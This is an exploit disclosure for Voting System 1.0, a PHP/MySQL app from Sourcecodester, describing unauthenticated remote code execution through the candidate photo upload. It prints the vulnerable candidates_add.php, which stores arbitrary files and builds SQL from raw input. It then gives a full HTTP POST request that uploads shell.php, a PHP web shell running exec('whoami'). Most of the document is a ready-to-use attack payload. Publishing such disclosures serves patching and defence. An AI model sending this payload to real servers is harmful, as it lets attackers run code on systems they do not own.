Voting System 1.0 - Remote Code Execution (Unauthenticated) Vulnerability

# Exploit Title: Voting System 1.0 - Remote Code Execution (Unauthenticated)
# Exploit Author: secure77
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB

Unauthenticated file upload is possible via /admin/candidates_add.php that can use for RCE.
Your upload will be stored at /images/ and is also accessible without authentication.



########################### Vulnerable code ############################
<?php
	include 'includes/session.php';

	if(isset($_POST['add'])){
		$firstname = $_POST['firstname'];
		$lastname = $_POST['lastname'];
		$position = $_POST['position'];
		$platform = $_POST['platform'];
		$filename = $_FILES['photo']['name'];
		if(!empty($filename)){
			move_uploaded_file($_FILES['photo']['tmp_name'], '../images/'.$filename);	
		}

		$sql = "INSERT INTO candidates (position_id, firstname, lastname, photo, platform) VALUES ('$position', '$firstname', '$lastname', '$filename', '$platform')";
		if($conn->query($sql)){
			$_SESSION['success'] = 'Candidate added successfully';
		}
		else{
			$_SESSION['error'] = $conn->error;
		}

	}
	else{
		$_SESSION['error'] = 'Fill up add form first';
	}

	header('location: candidates.php');
?>

########################### Payload ############################
POST /admin/candidates_add.php HTTP/1.1
Host: 192.168.1.1
Content-Length: 275
Cache-Control: max-age=0
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrmynB2CmGO6vwFpO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/admin/candidates.php
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryrmynB2CmGO6vwFpO
Content-Disposition: form-data; name="photo"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo exec("whoami"); ?>

------WebKitFormBoundaryrmynB2CmGO6vwFpO
Content-Disposition: form-data; name="add"